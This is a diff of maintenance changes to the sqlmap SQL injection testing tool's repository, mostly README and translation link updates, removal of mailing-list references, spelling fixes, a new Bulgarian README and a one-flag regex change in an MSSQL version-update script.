Fixes #2672

Patch for #2654
Fixes #2603
2026-10-12 02:22:55 +00:00 · 2017-09-01 14:29:52 +02:00 · 2017-08-28 17:29:46 +02:00 · 2017-08-28 13:02:08 +02:00 · 2017-08-28 12:30:42 +02:00 · 2017-08-28 11:08:36 +02:00
123 changed files with 3133 additions and 1603 deletions
@@ -1,6 +1,8 @@
 *.conf text eol=lf
+*.md text eol=lf
 *.md5 text eol=lf
 *.py text eol=lf
+*.xml text eol=lf

 *_ binary
 *.dll binary
@@ -2,4 +2,5 @@
 output/
 .sqlmap_history
 traffic.txt
-*~
+*~
+.idea/
@@ -34,7 +34,7 @@ To get a list of all options and switches use:
    python sqlmap.py -hh

 You can find a sample run [here](https://asciinema.org/a/46601).
-To get an overview of sqlmap capabilities, list of supported features and description of all options and switches, along with examples, you are advised to consult the [user's manual](https://github.com/sqlmapproject/sqlmap/wiki).
+To get an overview of sqlmap capabilities, list of supported features and description of all options and switches, along with examples, you are advised to consult the [user's manual](https://github.com/sqlmapproject/sqlmap/wiki/Usage).

 Links
 ----
@@ -45,9 +45,6 @@ Links
 * Issue tracker: https://github.com/sqlmapproject/sqlmap/issues
 * User's manual: https://github.com/sqlmapproject/sqlmap/wiki
 * Frequently Asked Questions (FAQ): https://github.com/sqlmapproject/sqlmap/wiki/FAQ
-* Mailing list subscription: https://lists.sourceforge.net/lists/listinfo/sqlmap-users
-* Mailing list RSS feed: http://rss.gmane.org/messages/complete/gmane.comp.security.sqlmap
-* Mailing list archive: http://news.gmane.org/gmane.comp.security.sqlmap
 * Twitter: [@sqlmap](https://twitter.com/sqlmap)
 * Demos: [http://www.youtube.com/user/inquisb/videos](http://www.youtube.com/user/inquisb/videos)
 * Screenshots: https://github.com/sqlmapproject/sqlmap/wiki/Screenshots
@@ -55,6 +52,7 @@ Links
 Translations
 ----

+* [Bulgarian](https://github.com/sqlmapproject/sqlmap/blob/master/doc/translations/README-bg-BG.md)
 * [Chinese](https://github.com/sqlmapproject/sqlmap/blob/master/doc/translations/README-zh-CN.md)
 * [Croatian](https://github.com/sqlmapproject/sqlmap/blob/master/doc/translations/README-hr-HR.md)
 * [French](https://github.com/sqlmapproject/sqlmap/blob/master/doc/translations/README-fr-FR.md)
@@ -83,7 +83,7 @@
 * Added option `--sql-file` for setting file(s) holding SQL statements to be executed (in case of stacked SQLi).
 * Added switch `--sqlmap-shell` to turn on interactive sqlmap shell prompt.
 * Added option `--test-filter` for test filtration by payloads and/or titles (e.g. `ROW`).
-* Added option `--test-skip` for skiping tests by payloads and/or titles (e.g. `BENCHMARK`).
+* Added option `--test-skip` for skipping tests by payloads and/or titles (e.g. `BENCHMARK`).
 * Added switch `--titles` to turn on comparison of pages based only on their titles.
 * Added option `--tor-port` to explicitly set Tor proxy port.
 * Added option `--tor-type` to set Tor proxy type (`HTTP` (default), `SOCKS4` or `SOCKS5`).
@@ -149,7 +149,7 @@
 * Major bugs fixed.
 * Cleanup of UDF source code repository, https://svn.sqlmap.org/sqlmap/trunk/sqlmap/extra/udfhack.
 * Major code cleanup.
-* Added simple file encryption/compression utility, extra/cloak/cloak.py, used by sqlmap to decrypt on the fly Churrasco, UPX executable and web shells consequently reducing drastically the number of anti-virus softwares that mistakenly mark sqlmap as a malware.
+* Added simple file encryption/compression utility, extra/cloak/cloak.py, used by sqlmap to decrypt on the fly Churrasco, UPX executable and web shells consequently reducing drastically the number of anti-virus software that mistakenly mark sqlmap as a malware.
 * Updated user's manual.
 * Created several demo videos, hosted on YouTube (http://www.youtube.com/user/inquisb) and linked from http://sqlmap.org/demo.html.

@@ -302,7 +302,7 @@
 * Added support to extract database users password hash on Microsoft SQL Server;
 * Added a fuzzer function with the aim to parse HTML page looking for standard database error messages consequently improving database fingerprinting;
 * Added support for SQL injection on HTTP Cookie and User-Agent headers;
-* Reviewed HTTP request library (lib/request.py) to support the extended inband SQL injection functionality. Splitted getValue() into getInband() and getBlind();
+* Reviewed HTTP request library (lib/request.py) to support the extended inband SQL injection functionality. Split getValue() into getInband() and getBlind();
 * Major enhancements in common library and added checkForBrackets() method to check if the bracket(s) are needed to perform a UNION query SQL injection attack;
 * Implemented `--dump-all` functionality to dump entire DBMS data from all databases tables;
 * Added support to exclude DBMS system databases' when enumeration tables and dumping their entries (`--exclude-sysdbs`);
@@ -335,7 +335,7 @@
 * Added inband SQL injection (UNION query) support (`--union-use`);
 * Complete code refactoring, a lot of minor and some major fixes in libraries, many minor improvements;
 * Reviewed the directory tree structure;
-* Splitted lib/common.py: inband injection functionalities now are moved to lib/union.py;
+* Split lib/common.py: inband injection functionalities now are moved to lib/union.py;
 * Updated documentation files.

 # Version 0.3 (2007-01-20)
@@ -1,38 +1,37 @@
-# Contributing to sqlmap
-
-## Reporting bugs
-
-**Bug reports are welcome**!
-Please report all bugs on the [issue tracker](https://github.com/sqlmapproject/sqlmap/issues).
-
-### Guidelines
-
-* Before you submit a bug report, search both [open](https://github.com/sqlmapproject/sqlmap/issues?q=is%3Aopen+is%3Aissue) and [closed](https://github.com/sqlmapproject/sqlmap/issues?q=is%3Aissue+is%3Aclosed) issues to make sure the issue has not come up before. Also, check the [user's manual](https://github.com/sqlmapproject/sqlmap/wiki) for anything relevant.
-* Make sure you can reproduce the bug with the latest development version of sqlmap.
-* Your report should give detailed instructions on how to reproduce the problem. If sqlmap raises an unhandled exception, the entire traceback is needed. Details of the unexpected behaviour are welcome too. A small test case (just a few lines) is ideal.
-* If you are making an enhancement request, lay out the rationale for the feature you are requesting. *Why would this feature be useful?*
-* If you are not sure whether something is a bug, or want to discuss a potential new feature before putting in an enhancement request, the [mailing list](https://lists.sourceforge.net/lists/listinfo/sqlmap-users) is a good place to bring it up.
-
-## Submitting code changes
-
-All code contributions are greatly appreciated. First off, clone the [Git repository](https://github.com/sqlmapproject/sqlmap), read the [user's manual](https://github.com/sqlmapproject/sqlmap/wiki) carefully, go through the code yourself and [drop us an email](mailto:[email protected]) if you are having a hard time grasping its structure and meaning. We apologize for not commenting the code enough - you could take a chance to read it through and [improve it](https://github.com/sqlmapproject/sqlmap/issues/37).
-
-Our preferred method of patch submission is via a Git [pull request](https://help.github.com/articles/using-pull-requests).
-Many [people](https://raw.github.com/sqlmapproject/sqlmap/master/doc/THANKS.md) have contributed in different ways to the sqlmap development. **You** can be the next!
-
-### Guidelines
-
-In order to maintain consistency and readability throughout the code, we ask that you adhere to the following instructions:
-
-* Each patch should make one logical change.
-* Wrap code to 76 columns when possible.
-* Avoid tabbing, use four blank spaces instead.
-* Before you put time into a non-trivial patch, it is worth discussing it on the [mailing list](https://lists.sourceforge.net/lists/listinfo/sqlmap-users) or privately by [email](mailto:[email protected]).
-* Do not change style on numerous files in one single pull request, we can [discuss](mailto:[email protected]) about those before doing any major restyling, but be sure that personal preferences not having a strong support in [PEP 8](http://www.python.org/dev/peps/pep-0008/) will likely to be rejected.
-* Make changes on less than five files per single pull request - there is rarely a good reason to have more than five files changed on one pull request, as this dramatically increases the review time required to land (commit) any of those pull requests.
-* Style that is too different from main branch will be ''adapted'' by the developers side.
-* Do not touch anything inside `thirdparty/` and `extra/` folders.
-
-### Licensing
-
-By submitting code contributions to the sqlmap developers, to the mailing list, or via Git pull request, checking them into the sqlmap source code repository, it is understood (unless you specify otherwise) that you are offering the sqlmap copyright holders the unlimited, non-exclusive right to reuse, modify, and relicense the code. This is important because the inability to relicense code has caused devastating problems for other software projects (such as KDE and NASM). If you wish to specify special license conditions of your contributions, just say so when you send them.
+# Contributing to sqlmap
+
+## Reporting bugs
+
+**Bug reports are welcome**!
+Please report all bugs on the [issue tracker](https://github.com/sqlmapproject/sqlmap/issues).
+
+### Guidelines
+
+* Before you submit a bug report, search both [open](https://github.com/sqlmapproject/sqlmap/issues?q=is%3Aopen+is%3Aissue) and [closed](https://github.com/sqlmapproject/sqlmap/issues?q=is%3Aissue+is%3Aclosed) issues to make sure the issue has not come up before. Also, check the [user's manual](https://github.com/sqlmapproject/sqlmap/wiki) for anything relevant.
+* Make sure you can reproduce the bug with the latest development version of sqlmap.
+* Your report should give detailed instructions on how to reproduce the problem. If sqlmap raises an unhandled exception, the entire traceback is needed. Details of the unexpected behaviour are welcome too. A small test case (just a few lines) is ideal.
+* If you are making an enhancement request, lay out the rationale for the feature you are requesting. *Why would this feature be useful?*
+
+## Submitting code changes
+
+All code contributions are greatly appreciated. First off, clone the [Git repository](https://github.com/sqlmapproject/sqlmap), read the [user's manual](https://github.com/sqlmapproject/sqlmap/wiki) carefully, go through the code yourself and [drop us an email](mailto:[email protected]) if you are having a hard time grasping its structure and meaning. We apologize for not commenting the code enough - you could take a chance to read it through and [improve it](https://github.com/sqlmapproject/sqlmap/issues/37).
+
+Our preferred method of patch submission is via a Git [pull request](https://help.github.com/articles/using-pull-requests).
+Many [people](https://raw.github.com/sqlmapproject/sqlmap/master/doc/THANKS.md) have contributed in different ways to the sqlmap development. **You** can be the next!
+
+### Guidelines
+
+In order to maintain consistency and readability throughout the code, we ask that you adhere to the following instructions:
+
+* Each patch should make one logical change.
+* Wrap code to 76 columns when possible.
+* Avoid tabbing, use four blank spaces instead.
+* Before you put time into a non-trivial patch, it is worth discussing it privately by [email](mailto:[email protected]).
+* Do not change style on numerous files in one single pull request, we can [discuss](mailto:[email protected]) about those before doing any major restyling, but be sure that personal preferences not having a strong support in [PEP 8](http://www.python.org/dev/peps/pep-0008/) will likely to be rejected.
+* Make changes on less than five files per single pull request - there is rarely a good reason to have more than five files changed on one pull request, as this dramatically increases the review time required to land (commit) any of those pull requests.
+* Style that is too different from main branch will be ''adapted'' by the developers side.
+* Do not touch anything inside `thirdparty/` and `extra/` folders.
+
+### Licensing
+
+By submitting code contributions to the sqlmap developers or via Git pull request, checking them into the sqlmap source code repository, it is understood (unless you specify otherwise) that you are offering the sqlmap copyright holders the unlimited, non-exclusive right to reuse, modify, and relicense the code. This is important because the inability to relicense code has caused devastating problems for other software projects (such as KDE and NASM). If you wish to specify special license conditions of your contributions, just say so when you send them.
@@ -46,14 +46,14 @@ to know exactly what a program is going to do before they run it.
 Source code also allows you to fix bugs and add new features. You are
 highly encouraged to send your changes to [email protected] for possible
 incorporation into the main distribution. By sending these changes to the
-sqlmap developers, to the mailing lists, or via Git pull request, checking
-them into the sqlmap source code repository, it is understood (unless you
-specify otherwise) that you are offering the sqlmap project the unlimited,
-non-exclusive right to reuse, modify, and relicense the code. sqlmap will
-always be available Open Source, but this is important because the
-inability to relicense code has caused devastating problems for other Free
-Software projects (such as KDE and NASM). If you wish to specify special
-license conditions of your contributions, just say so when you send them.
+sqlmap developers or via Git pull request, checking them into the sqlmap
+source code repository, it is understood (unless you specify otherwise)
+that you are offering the sqlmap project the unlimited, non-exclusive
+right to reuse, modify, and relicense the code. sqlmap will always be
+available Open Source, but this is important because the inability to
+relicense code has caused devastating problems for other Free Software
+projects (such as KDE and NASM). If you wish to specify special license
+conditions of your contributions, just say so when you send them.

 This program is distributed in the hope that it will be useful, but
 WITHOUT ANY WARRANTY; without even the implied warranty of
@@ -361,7 +361,6 @@ This license does not apply to the following components:
 * The MultipartPost library located under thirdparty/multipartpost/.
 * The Odict library located under thirdparty/odict/.
 * The Oset library located under thirdparty/oset/.
-* The PageRank library located under thirdparty/pagerank/.
 * The PrettyPrint library located under thirdparty/prettyprint/.
 * The PyDes library located under thirdparty/pydes/.
 * The SocksiPy library located under thirdparty/socks/.
@@ -139,7 +139,7 @@ Jim Forster, <jimforster(at)goldenwest.com>
 * for reporting a bug

 Rong-En Fan, <rafan(at)freebsd.org>
-* for commiting the sqlmap 0.5 port to the official FreeBSD project repository
+* for committing the sqlmap 0.5 port to the official FreeBSD project repository

 Giorgio Fedon, <giorgio.fedon(at)gmail.com>
 * for suggesting a speed improvement for bisection algorithm
@@ -562,7 +562,7 @@ Kazim Bugra Tombul, <mhackmail(at)gmail.com>
 * for reporting a minor bug

 Efrain Torres, <et(at)metasploit.com>
-* for helping out to improve the Metasploit Framework sqlmap auxiliary module and for commiting it on the Metasploit official subversion repository
+* for helping out to improve the Metasploit Framework sqlmap auxiliary module and for committing it on the Metasploit official subversion repository
 * for his great Metasploit WMAP Framework

 Sandro Tosi, <matrixhasu(at)gmail.com>
@@ -281,8 +281,6 @@ be bound by the terms and conditions of this License Agreement.

 * The bottle web framework library located under thirdparty/bottle/.
  Copyright (C) 2012, Marcel Hellkamp.
-* The PageRank library located under thirdparty/pagerank/.
-  Copyright (C) 2010, Corey Goldberg.
 * The Termcolor library located under thirdparty/termcolor/.
  Copyright (C) 2008-2011, Volvox Development Team.

@@ -0,0 +1,50 @@
+# sqlmap
+
+[![Build Status](https://api.travis-ci.org/sqlmapproject/sqlmap.svg?branch=master)](https://api.travis-ci.org/sqlmapproject/sqlmap) [![Python 2.6|2.7](https://img.shields.io/badge/python-2.6|2.7-yellow.svg)](https://www.python.org/) [![Лиценз](https://img.shields.io/badge/license-GPLv2-red.svg)](https://raw.githubusercontent.com/sqlmapproject/sqlmap/master/doc/COPYING) [![Twitter](https://img.shields.io/badge/[email protected])](https://twitter.com/sqlmap)
+
+sqlmap e инструмент за тестване и проникване, с отворен код, който автоматизира процеса на откриване и използване на недостатъците на SQL база данните чрез SQL инжекция, която ги взима от сървъра. Снабден е с мощен детектор, множество специални функции за най-добрия тестер и широк спектър от функции, които могат да се използват за множество цели - извличане на данни от базата данни, достъп до основната файлова система и изпълняване на команди на операционната система.
+
+Демо снимки
+----
+
+![Снимка на екрана](https://raw.github.com/wiki/sqlmapproject/sqlmap/images/sqlmap_screenshot.png)
+
+Можете да посетите [колекцията от снимки на екрана](https://github.com/sqlmapproject/sqlmap/wiki/Screenshots), показващи някои  функции, качени на wiki.
+
+Инсталиране
+----
+
+Може да изтеглине най-новите tar архиви като кликнете [тук](https://github.com/sqlmapproject/sqlmap/tarball/master) или най-новите zip архиви като кликнете [тук](https://github.com/sqlmapproject/sqlmap/zipball/master).
+
+За предпочитане е да изтеглите sqlmap като клонирате [Git](https://github.com/sqlmapproject/sqlmap) хранилището:
+
+    git clone --depth 1 https://github.com/sqlmapproject/sqlmap.git sqlmap-dev
+
+sqlmap работи самостоятелно с [Python](http://www.python.org/download/) версия **2.6.x** и **2.7.x** на всички платформи.
+
+Използване
+----
+
+За да получите списък с основните опции използвайте:
+
+    python sqlmap.py -h
+
+За да получите списък с всички опции използвайте:
+
+    python sqlmap.py -hh
+
+Може да намерите пример за използване на sqlmap [тук](https://asciinema.org/a/46601).
+За да разберете възможностите на sqlmap, списък на поддържаните функции и описание на всички опции, заедно с примери, се препоръчва да се разгледа [упътването](https://github.com/sqlmapproject/sqlmap/wiki/Usage).
+
+Връзки
+----
+
+* Начална страница: http://sqlmap.org
+* Изтегляне: [.tar.gz](https://github.com/sqlmapproject/sqlmap/tarball/master) or [.zip](https://github.com/sqlmapproject/sqlmap/zipball/master)
+* RSS емисия: https://github.com/sqlmapproject/sqlmap/commits/master.atom
+* Проследяване на проблеми и въпроси: https://github.com/sqlmapproject/sqlmap/issues
+* Упътване: https://github.com/sqlmapproject/sqlmap/wiki
+* Често задавани въпроси (FAQ): https://github.com/sqlmapproject/sqlmap/wiki/FAQ
+* Twitter: [@sqlmap](https://twitter.com/sqlmap)
+* Демо: [http://www.youtube.com/user/inquisb/videos](http://www.youtube.com/user/inquisb/videos)
+* Снимки на екрана: https://github.com/sqlmapproject/sqlmap/wiki/Screenshots
@@ -33,7 +33,7 @@ Para obtener una lista de todas las opciones:
    python sqlmap.py -hh

 Se puede encontrar una muestra de su funcionamiento [aquí](https://asciinema.org/a/46601).
-Para obtener una visión general de las capacidades de sqlmap, así como un listado funciones soportadas y descripción de todas las opciones y modificadores, junto con ejemplos, se recomienda consultar el [manual de usuario](https://github.com/sqlmapproject/sqlmap/wiki).
+Para obtener una visión general de las capacidades de sqlmap, así como un listado funciones soportadas y descripción de todas las opciones y modificadores, junto con ejemplos, se recomienda consultar el [manual de usuario](https://github.com/sqlmapproject/sqlmap/wiki/Usage).

 Enlaces
 ---
@@ -44,9 +44,6 @@ Enlaces
 * Seguimiento de problemas "Issue tracker": https://github.com/sqlmapproject/sqlmap/issues
 * Manual de usuario: https://github.com/sqlmapproject/sqlmap/wiki
 * Preguntas frecuentes (FAQ): https://github.com/sqlmapproject/sqlmap/wiki/FAQ
-* Subscripción a la lista de correo: https://lists.sourceforge.net/lists/listinfo/sqlmap-users
-* Fuente de la lista de correo "RSS feed": http://rss.gmane.org/messages/complete/gmane.comp.security.sqlmap
-* Archivos de lista de correo: http://news.gmane.org/gmane.comp.security.sqlmap
 * Twitter: [@sqlmap](https://twitter.com/sqlmap)
 * Demostraciones: [http://www.youtube.com/user/inquisb/videos](http://www.youtube.com/user/inquisb/videos)
 * Imágenes: https://github.com/sqlmapproject/sqlmap/wiki/Screenshots
@@ -33,7 +33,7 @@ Pour afficher une liste complète des options et des commutateurs (switches), ta
    python sqlmap.py -hh

 Vous pouvez regarder un vidéo [ici](https://asciinema.org/a/46601) pour plus d'exemples.
-Pour obtenir un aperçu des ressources de __sqlmap__, une liste des fonctionnalités prises en charge et la description de toutes les options, ainsi que des exemples , nous vous recommandons de consulter [le wiki](https://github.com/sqlmapproject/sqlmap/wiki).
+Pour obtenir un aperçu des ressources de __sqlmap__, une liste des fonctionnalités prises en charge et la description de toutes les options, ainsi que des exemples , nous vous recommandons de consulter [le wiki](https://github.com/sqlmapproject/sqlmap/wiki/Usage).

 Liens
 ----
@@ -44,9 +44,6 @@ Liens
 * Issue tracker: https://github.com/sqlmapproject/sqlmap/issues
 * Manuel de l'utilisateur: https://github.com/sqlmapproject/sqlmap/wiki
 * Foire aux questions (FAQ): https://github.com/sqlmapproject/sqlmap/wiki/FAQ
-* Mailing list subscription: https://lists.sourceforge.net/lists/listinfo/sqlmap-users
-* Mailing list RSS feed: http://rss.gmane.org/messages/complete/gmane.comp.security.sqlmap
-* Mailing list archive: http://news.gmane.org/gmane.comp.security.sqlmap
 * Twitter: [@sqlmap](https://twitter.com/sqlmap)
 * Démonstrations: [http://www.youtube.com/user/inquisb/videos](http://www.youtube.com/user/inquisb/videos)
 * Les captures d'écran: https://github.com/sqlmapproject/sqlmap/wiki/Screenshots
@@ -34,7 +34,7 @@
    python sqlmap.py -hh

 Μπορείτε να δείτε ένα δείγμα λειτουργίας του προγράμματος [εδώ](https://asciinema.org/a/46601).
-Για μια γενικότερη άποψη των δυνατοτήτων του sqlmap, μια λίστα των υποστηριζόμενων χαρακτηριστικών και περιγραφή για όλες τις επιλογές, μαζί με παραδείγματα, καλείστε να συμβουλευτείτε το [εγχειρίδιο χρήστη](https://github.com/sqlmapproject/sqlmap/wiki).
+Για μια γενικότερη άποψη των δυνατοτήτων του sqlmap, μια λίστα των υποστηριζόμενων χαρακτηριστικών και περιγραφή για όλες τις επιλογές, μαζί με παραδείγματα, καλείστε να συμβουλευτείτε το [εγχειρίδιο χρήστη](https://github.com/sqlmapproject/sqlmap/wiki/Usage).

 Σύνδεσμοι
 ----
@@ -45,9 +45,6 @@
 * Προβλήματα: https://github.com/sqlmapproject/sqlmap/issues
 * Εγχειρίδιο Χρήστη: https://github.com/sqlmapproject/sqlmap/wiki
 * Συχνές Ερωτήσεις (FAQ): https://github.com/sqlmapproject/sqlmap/wiki/FAQ
-* Εγγραφή σε Mailing list: https://lists.sourceforge.net/lists/listinfo/sqlmap-users
-* Mailing list RSS feed: http://rss.gmane.org/messages/complete/gmane.comp.security.sqlmap
-* Mailing list αρχείο: http://news.gmane.org/gmane.comp.security.sqlmap
 * Twitter: [@sqlmap](https://twitter.com/sqlmap)
 * Demos: [http://www.youtube.com/user/inquisb/videos](http://www.youtube.com/user/inquisb/videos)
 * Εικόνες: https://github.com/sqlmapproject/sqlmap/wiki/Screenshots
@@ -34,7 +34,7 @@ Kako biste dobili listu svih opcija i prekidača koristite:
    python sqlmap.py -hh

 Možete pronaći primjer izvršavanja [ovdje](https://asciinema.org/a/46601).
-Kako biste dobili pregled mogućnosti sqlmap-a, liste podržanih značajki te opis svih opcija i prekidača, zajedno s primjerima, preporučen je uvid u [korisnički priručnik](https://github.com/sqlmapproject/sqlmap/wiki).
+Kako biste dobili pregled mogućnosti sqlmap-a, liste podržanih značajki te opis svih opcija i prekidača, zajedno s primjerima, preporučen je uvid u [korisnički priručnik](https://github.com/sqlmapproject/sqlmap/wiki/Usage).

 Poveznice
 ----
@@ -45,9 +45,6 @@ Poveznice
 * Prijava problema: https://github.com/sqlmapproject/sqlmap/issues
 * Korisnički priručnik: https://github.com/sqlmapproject/sqlmap/wiki
 * Najčešće postavljena pitanja (FAQ): https://github.com/sqlmapproject/sqlmap/wiki/FAQ
-* Pretplata na mailing listu: https://lists.sourceforge.net/lists/listinfo/sqlmap-users
-* RSS feed mailing liste: http://rss.gmane.org/messages/complete/gmane.comp.security.sqlmap
-* Arhiva mailing liste: http://news.gmane.org/gmane.comp.security.sqlmap
 * Twitter: [@sqlmap](https://twitter.com/sqlmap)
 * Demo: [http://www.youtube.com/user/inquisb/videos](http://www.youtube.com/user/inquisb/videos)
 * Slike zaslona: https://github.com/sqlmapproject/sqlmap/wiki/Screenshots
@@ -35,7 +35,7 @@ Untuk mendapatkan daftar opsi lanjut gunakan:
    python sqlmap.py -hh

 Anda dapat mendapatkan contoh penggunaan [di sini](https://asciinema.org/a/46601).
-Untuk mendapatkan gambaran singkat kemampuan sqlmap, daftar fitur yang didukung, deskripsi dari semua opsi, berikut dengan contohnya, Anda disarankan untuk membaca [manual pengguna](https://github.com/sqlmapproject/sqlmap/wiki).
+Untuk mendapatkan gambaran singkat kemampuan sqlmap, daftar fitur yang didukung, deskripsi dari semua opsi, berikut dengan contohnya, Anda disarankan untuk membaca [Panduan Pengguna](https://github.com/sqlmapproject/sqlmap/wiki/Usage).

 Tautan
 ----
@@ -46,9 +46,6 @@ Tautan
 * Issue tracker: https://github.com/sqlmapproject/sqlmap/issues
 * Wiki Manual Penggunaan: https://github.com/sqlmapproject/sqlmap/wiki
 * Pertanyaan yang Sering Ditanyakan (FAQ): https://github.com/sqlmapproject/sqlmap/wiki/FAQ
-* Berlangganan milis: https://lists.sourceforge.net/lists/listinfo/sqlmap-users
-* RSS feed dari milis: http://rss.gmane.org/messages/complete/gmane.comp.security.sqlmap
-* Arsip milis: http://news.gmane.org/gmane.comp.security.sqlmap
 * Twitter: [@sqlmap](https://twitter.com/sqlmap)
 * Video Demo [#1](http://www.youtube.com/user/inquisb/videos) dan [#2](http://www.youtube.com/user/stamparm/videos)
 * Tangkapan Layar: https://github.com/sqlmapproject/sqlmap/wiki/Screenshots
@@ -34,7 +34,7 @@ Per una lista di tutte le opzioni e di tutti i controlli:
    python sqlmap.py -hh

 Puoi trovare un esempio di esecuzione [qui](https://asciinema.org/a/46601).
-Per una panoramica delle capacità di sqlmap, una lista delle sue funzionalità e la descrizione di tutte le sue opzioni e controlli, insieme ad un gran numero di esempi, siete pregati di visitare lo [user's manual](https://github.com/sqlmapproject/sqlmap/wiki) (disponibile solo in inglese).
+Per una panoramica delle capacità di sqlmap, una lista delle sue funzionalità e la descrizione di tutte le sue opzioni e controlli, insieme ad un gran numero di esempi, siete pregati di visitare lo [user's manual](https://github.com/sqlmapproject/sqlmap/wiki/Usage) (disponibile solo in inglese).

 Link
 ----
@@ -45,9 +45,6 @@ Link
 * Issue tracker: https://github.com/sqlmapproject/sqlmap/issues
 * Manuale dell'utente: https://github.com/sqlmapproject/sqlmap/wiki
 * Domande più frequenti (FAQ): https://github.com/sqlmapproject/sqlmap/wiki/FAQ
-* Iscrizione alla Mailing list: https://lists.sourceforge.net/lists/listinfo/sqlmap-users
-* Mailing list RSS feed: http://rss.gmane.org/messages/complete/gmane.comp.security.sqlmap
-* Archivio della Mailing list: http://news.gmane.org/gmane.comp.security.sqlmap
 * Twitter: [@sqlmap](https://twitter.com/sqlmap)
 * Dimostrazioni: [http://www.youtube.com/user/inquisb/videos](http://www.youtube.com/user/inquisb/videos)
 * Screenshot: https://github.com/sqlmapproject/sqlmap/wiki/Screenshots
@@ -35,7 +35,7 @@ sqlmapは、 [Python](http://www.python.org/download/) バージョン **2.6.x**
    python sqlmap.py -hh

 実行例を [こちら](https://asciinema.org/a/46601) で見ることができます。
-sqlmapの概要、機能の一覧、全てのオプションやスイッチの使用法を例とともに、 [ユーザーマニュアル](https://github.com/sqlmapproject/sqlmap/wiki) で確認することができます。
+sqlmapの概要、機能の一覧、全てのオプションやスイッチの使用法を例とともに、 [ユーザーマニュアル](https://github.com/sqlmapproject/sqlmap/wiki/Usage) で確認することができます。

 リンク
 ----
@@ -46,9 +46,6 @@ sqlmapの概要、機能の一覧、全てのオプションやスイッチの
 * 課題管理: https://github.com/sqlmapproject/sqlmap/issues
 * ユーザーマニュアル: https://github.com/sqlmapproject/sqlmap/wiki
 * よくある質問 (FAQ): https://github.com/sqlmapproject/sqlmap/wiki/FAQ
-* メーリングリストへの参加: https://lists.sourceforge.net/lists/listinfo/sqlmap-users
-* メーリングリストのRSSフィード: http://rss.gmane.org/messages/complete/gmane.comp.security.sqlmap
-* メーリングリストのアーカイブ: http://news.gmane.org/gmane.comp.security.sqlmap
 * Twitter: [@sqlmap](https://twitter.com/sqlmap)
 * デモ: [http://www.youtube.com/user/inquisb/videos](http://www.youtube.com/user/inquisb/videos)
 * スクリーンショット: https://github.com/sqlmapproject/sqlmap/wiki/Screenshots
@@ -46,9 +46,6 @@ Links
 * Issue tracker: https://github.com/sqlmapproject/sqlmap/issues
 * Manual do Usuário: https://github.com/sqlmapproject/sqlmap/wiki
 * Perguntas frequentes (FAQ): https://github.com/sqlmapproject/sqlmap/wiki/FAQ
-* Mailing list subscription: https://lists.sourceforge.net/lists/listinfo/sqlmap-users
-* Mailing list RSS feed: http://rss.gmane.org/messages/complete/gmane.comp.security.sqlmap
-* Mailing list archive: http://news.gmane.org/gmane.comp.security.sqlmap
 * Twitter: [@sqlmap](https://twitter.com/sqlmap)
 * Demonstrações: [#1](http://www.youtube.com/user/inquisb/videos) e [#2](http://www.youtube.com/user/stamparm/videos)
 * Imagens: https://github.com/sqlmapproject/sqlmap/wiki/Screenshots
@@ -37,7 +37,7 @@ Bütün seçenekleri gösterir

    python sqlmap.py -hh

-Program ile ilgili örnekleri [burada](https://asciinema.org/a/46601) bulabilirsiniz. Daha fazlası içinsqlmap'in bütün açıklamaları ile birlikte bütün özelliklerinin, örnekleri ile bulunduğu  [manuel sayfamıza](https://github.com/sqlmapproject/sqlmap/wiki) bakmanızı tavsiye ediyoruz
+Program ile ilgili örnekleri [burada](https://asciinema.org/a/46601) bulabilirsiniz. Daha fazlası içinsqlmap'in bütün açıklamaları ile birlikte bütün özelliklerinin, örnekleri ile bulunduğu  [manuel sayfamıza](https://github.com/sqlmapproject/sqlmap/wiki/Usage) bakmanızı tavsiye ediyoruz

 Links
 ----
@@ -48,9 +48,6 @@ Links
 * Hata takip etme sistemi: https://github.com/sqlmapproject/sqlmap/issues
 * Kullanıcı Manueli: https://github.com/sqlmapproject/sqlmap/wiki
 * Sıkça Sorulan Sorular(SSS): https://github.com/sqlmapproject/sqlmap/wiki/FAQ
-* Mail listesi: https://lists.sourceforge.net/lists/listinfo/sqlmap-users
-* Mail RSS takibi: http://rss.gmane.org/messages/complete/gmane.comp.security.sqlmap
-* Mail listesi arşivi: http://news.gmane.org/gmane.comp.security.sqlmap
 * Twitter: [@sqlmap](https://twitter.com/sqlmap)
 * Demolar: [http://www.youtube.com/user/inquisb/videos](http://www.youtube.com/user/inquisb/videos)
 * Ekran görüntüleri: https://github.com/sqlmapproject/sqlmap/wiki/Screenshots
@@ -33,7 +33,7 @@ sqlmap 可以运行在 [Python](http://www.python.org/download/)  **2.6.x**  和

    python sqlmap.py -hh

-你可以从 [这里](https://asciinema.org/a/46601) 看到一个sqlmap 的使用样例。除此以外，你还可以查看 [使用手册](https://github.com/sqlmapproject/sqlmap/wiki)。获取sqlmap所有支持的特性、参数、命令行选项开关及说明的使用帮助。
+你可以从 [这里](https://asciinema.org/a/46601) 看到一个sqlmap 的使用样例。除此以外，你还可以查看 [使用手册](https://github.com/sqlmapproject/sqlmap/wiki/Usage)。获取sqlmap所有支持的特性、参数、命令行选项开关及说明的使用帮助。

 链接
 ----
@@ -44,9 +44,6 @@ sqlmap 可以运行在 [Python](http://www.python.org/download/)  **2.6.x**  和
 * Issue tracker: https://github.com/sqlmapproject/sqlmap/issues
 * 使用手册: https://github.com/sqlmapproject/sqlmap/wiki
 * 常见问题 (FAQ): https://github.com/sqlmapproject/sqlmap/wiki/FAQ
-* 邮件讨论列表: https://lists.sourceforge.net/lists/listinfo/sqlmap-users
-* 邮件列表 RSS 订阅: http://rss.gmane.org/messages/complete/gmane.comp.security.sqlmap
-* 邮件列表归档: http://news.gmane.org/gmane.comp.security.sqlmap
 * Twitter: [@sqlmap](https://twitter.com/sqlmap)
 * 教程: [http://www.youtube.com/user/inquisb/videos](http://www.youtube.com/user/inquisb/videos)
 * 截图: https://github.com/sqlmapproject/sqlmap/wiki/Screenshots
@@ -43,7 +43,7 @@ def updateMSSQLXML():

        return

-    releases = re.findall("class=\"BCC_DV_01DarkBlueTitle\">SQL Server\s(.+?)\sBuilds", mssqlVersionsHtmlString, re.I | re.M)
+    releases = re.findall("class=\"BCC_DV_01DarkBlueTitle\">SQL Server\s(.+?)\sBuilds", mssqlVersionsHtmlString, re.I)
    releasesCount = len(releases)

    # Create the minidom document
@@ -74,7 +74,7 @@ def updateMSSQLXML():
            stopIdx = mssqlVersionsHtmlString.index("SQL Server %s Builds" % releases[index + 1])

        mssqlVersionsReleaseString = mssqlVersionsHtmlString[startIdx:stopIdx]
